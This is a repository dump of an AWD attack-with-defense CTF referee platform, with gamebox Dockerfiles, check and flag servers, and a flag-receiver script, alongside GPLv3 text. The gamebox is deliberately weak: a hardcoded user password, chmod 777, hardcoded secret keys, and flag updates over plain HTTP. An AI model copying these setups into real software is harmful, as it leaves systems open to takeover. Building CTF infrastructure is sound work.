given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: bin_pwn/Dockerfile ================================================ FROM ubuntu:16.04 MAINTAINER WangTsiAo (wang.qi.ao@qq.com) RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ apt-get update && apt-get dist-upgrade -y && \ apt-get install socat -y && \ apt-get install python -y && \ apt-get install openssh-server -y EXPOSE 8888 EXPOSE 22 COPY flag /flag COPY pwn /pwn CMD ["/tmp/run.sh", "8888", "/pwn"] ================================================ FILE: bin_pwn/build_images.sh ================================================ #!/bin/sh docker build -t wangtsiao/pwn . ================================================ FILE: bin_pwn/checker.py ================================================ # -*- coding:utf-8 -*- def check(target_ip, target_port): return True if __name__ == '__main__': print(check('127.0.0.1', 8801)) ================================================ FILE: bin_pwn/docker.sh ================================================ #!/bin/sh cp run.sh tmp/ cp flag.py tmp/ docker run -p {out_port}:8888 -p {ssh_port}:22 -v `pwd`/tmp:/tmp -d --name {team_name} -ti wangtsiao/pwn ================================================ FILE: bin_pwn/flag ================================================ ctf{please_initialize_this_flag} ================================================ FILE: bin_pwn/reset_docker.sh ================================================ #!/bin/sh rm -rf tmp/* rm -rf chinaz/* cp -R ../web_chinaz/ chinaz/ cp run.sh tmp/run.sh cp flag.py tmp/run.sh docker stop {team_name} docker rm {team_name} docker run -p {out_port}:80 -p {ssh_port}:22 -v `pwd`/chinaz:/var/www/html -v `pwd`/tmp:/tmp -d --name {team_name} -ti moxiaoxi/chinaz ================================================ FILE: bin_pwn/run.sh ================================================ #!/bin/sh service ssh start chmod 777 /pwn chmod 744 /flag chmod 700 /tmp/* python /tmp/flag.py & 2>&1 1>/dev/null sleep 2 # rm -rf /tmp useradd ctf echo ctf:moxiaoxi666 | chpasswd runuser -u ctf socat TCP-LISTEN:$1,reuseaddr,fork EXEC:$2 & 2>&1 1>/dev/null if [ -x "extra.sh" ]; then ./extra.sh fi /bin/bash ================================================ FILE: check_server/Dockerfile ================================================ FROM python:3 RUN apt-get update && apt-get upgrade -y && apt-get install -y \ libsqlite3-dev ENV PYTHONUNBUFFERED 1 ADD webapps /webapps WORKDIR /webapps RUN pip install -r requirements.txt CMD ["/webapps/run.sh"] ================================================ FILE: check_server/build_images.sh ================================================ #!/bin/sh docker build -t moxiaoxi/check_server . ================================================ FILE: check_server/docker.sh ================================================ #!/bin/sh docker run -d -v `pwd`/webapps:/webapps --name check_server -ti moxiaoxi/check_server ================================================ FILE: check_server/host.lists ================================================ team1:172.17.0.2 ================================================ FILE: check_server/reset_docker.sh ================================================ #!/bin/sh docker stop check_server docker rm check_server docker run -d -v `pwd`/webapps:/webapps --name check_server -ti moxiaoxi/check_server ================================================ FILE: check_server/webapps/check_scripts/__init__.py ================================================ ================================================ FILE: check_server/webapps/check_scripts/check_example.py ================================================ #!/usr/bin/env python # -*- coding:utf8 -*- def check(target_ip,target_port): return True ================================================ FILE: check_server/webapps/check_scripts/checker.py ================================================ # -*- coding:utf-8 -*- def check(target_ip, target_port): return True if __name__ == '__main__': print(check('127.0.0.1', 8801)) ================================================ FILE: check_server/webapps/config.py ================================================ # coding:utf-8 import hashlib round_index = 1 # 轮次 flag_server = 'http://172.17.0.3:8000/adm1n_ap1' user_count = 1 # 数量 round_time = 5 * 60 secret_key = '718c6eb587c81cb0cf6b897148bffbbe' flag_key = 'f99d6d799d113f6bfe1375b47acbc072' lib = { "user01": "172.17.0.2", } check_port = 8888 ================================================ FILE: check_server/webapps/flag.py ================================================ #!/usr/bin/env python import SimpleHTTPServer import SocketServer import hashlib import time ''' this script is supposed to run on the gamebox, it record the flag sent by the server, and record it to local file system, the normal request should be looks like /you_should_not_guess_the_key/04df0f74b98693195d93ac695d51e837 ''' PORT = 9999 key = 'you_should_not_guess_the_key' flag_path = '/flag' time_span = 2 * 60 class my_handler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): request = self.path.split('/') self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() if len(request) == 3 and request[1] == key and len(request[2]) == 32: flag = request[2] open(flag_path, 'w').write(flag) self.wfile.write('update succ!') else: self.wfile.write('get out! hacker!') Handler = my_handler httpd = SocketServer.TCPServer(("", PORT), Handler) print("serving at port", PORT) httpd.serve_forever() ================================================ FILE: check_server/webapps/main.py ================================================ import importlib import hashlib import requests import time import datetime from config import * check = importlib.import_module('check_scripts.checker').check def check_one(user_name): check_ip = lib[user_name] return check(check_ip, check_port) def update_flag_server(user_name, flag, round_index): data = {'secret_key': secret_key, 'user_name': user_name, 'action': 'flag', 'data': flag, "round_index": round_index} try: res = requests.post(flag_server, data=data) # print("Status code: %i" % res.status_code) # print("Response body: %s" % res.content.decode()) if res.status_code == 200 and b'succ' in res.content: return True except Exception as e: print(e) return False def update_target_server(user_name, flag): target_url = 'http://' + lib[user_name] + ':9999' try: res = requests.get(target_url + '/' + flag_key + '/' + flag) # print(target_url + '/' + flag_key + '/' + flag) # print("Status code: %i" % res.status_code) # print("Response body: %s" % res.content) if res.status_code == 200 and b'succ' in res.content: return True except Exception as e: print(e) return False def update_status(user_name, round_index, run): data = {'secret_key': secret_key, 'user_name': user_name, 'action': 'status', 'data': run, 'round_index': round_index} try: res = requests.post(flag_server, data=data) # print("Status code: %i" % res.status_code) # print("Response body: %s" % res.content) if res.status_code == 200 and b'succ' in res.content: return True except Exception as e: print(e) return False def run_one(round_index): for i in range(1, user_count + 1): user_name = 'user' + str(i).zfill(2) tmp = (user_name + str(round_index) + str(int(time.time()) / round_time)).encode('utf-8') flag = hashlib.md5(tmp).hexdigest() if update_flag_server(user_name, flag, round_index): print('[+] Flag_server: update {} with flag {}, succ'.format(user_name, flag)) else: print('[-] Flag_server: update {} with flag {}, error!!'.format(user_name, flag)) if update_target_server(user_name, flag): print('[+] Target_server: update {},{} with flag {}, succ'.format(user_name, lib[user_name], flag)) else: print('[-] Target_server: update {} with flag {}, error!!'.format(user_name, flag)) if check_one(user_name): run = 1 update_status(user_name, round_index, run) print("[+] Check_server {},{} run succ !".format(user_name, lib[user_name])) else: print("[-] Check_server {},{} run error !".format(user_name, lib[user_name])) run = 0 update_status(user_name, round_index, run) if __name__ == '__main__': print("[+] Starting checking framework...") print("[+] Round time : %s seconds..." % round_time) while True: start = time.time() run_one(round_index) round_index += 1 print("[+] This round checking is finished , waiting for the next round...") while True: wait_time = start + round_time - time.time() if wait_time <= 0: break print("[+] The next checking is %d seconds later..." % (wait_time)) time.sleep(1) ================================================ FILE: check_server/webapps/requirements.txt ================================================ requests==2.20.1 ================================================ FILE: check_server/webapps/run.sh ================================================ #!/bin/sh python3 main.py ================================================ FILE: flag.py ================================================ #!/usr/bin/env python import SimpleHTTPServer import SocketServer import hashlib import time import sys ''' this script is supposed to run on the gamebox, it record the flag sent by the server, and record it to local file system, the normal request should be looks like /you_should_not_guess_the_key/04df0f74b98693195d93ac695d51e837 ''' PORT = 9999 key = 'you_should_not_guess_the_key' flag_path = '/flag' class my_handler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): request = self.path.split('/') self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() if len(request) == 3 and request[1] == key and len(request[2]) == 32: flag = request[2] open(flag_path, 'w').write(flag) self.wfile.write('update flag succ!') else: self.wfile.write('get out! hacker!') Handler = my_handler httpd = SocketServer.TCPServer(("", PORT), Handler) print "serving at port", PORT httpd.serve_forever() ================================================ FILE: flag_server/Dockerfile ================================================ FROM python:3 RUN apt-get update && apt-get upgrade -y && apt-get install -y libsqlite3-dev,sqlite3 ENV PYTHONUNBUFFERED 1 ADD webapps /webapps WORKDIR /webapps RUN pip install -r requirements.txt EXPOSE 8000 CMD ["/webapps/run.sh"] ================================================ FILE: flag_server/build_images.sh ================================================ #!/bin/sh docker build -t moxiaoxi/flag_server . ================================================ FILE: flag_server/docker.sh ================================================ #!/bin/sh docker run -p 9090:8000 -d -v `pwd`/webapps:/webapps --name flag_server -ti moxiaoxi/flag_server ================================================ FILE: flag_server/reset_docker.sh ================================================ #!/bin/sh docker stop flag_server docker rm flag_server docker run -p 9090:8000 -v `pwd`/webapps:/webapps -d --name flag_server -ti moxiaoxi/flag_server ================================================ FILE: flag_server/webapps/LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: flag_server/webapps/README.md ================================================ # awd_platform 一个awd攻防比赛的裁判平台。 版本:beta v2.0 开发语言:python3 + django 平台分为两个部分 1. 裁判机 2. 靶机 通过特定接口,来实现靶机flag与服务器的通信 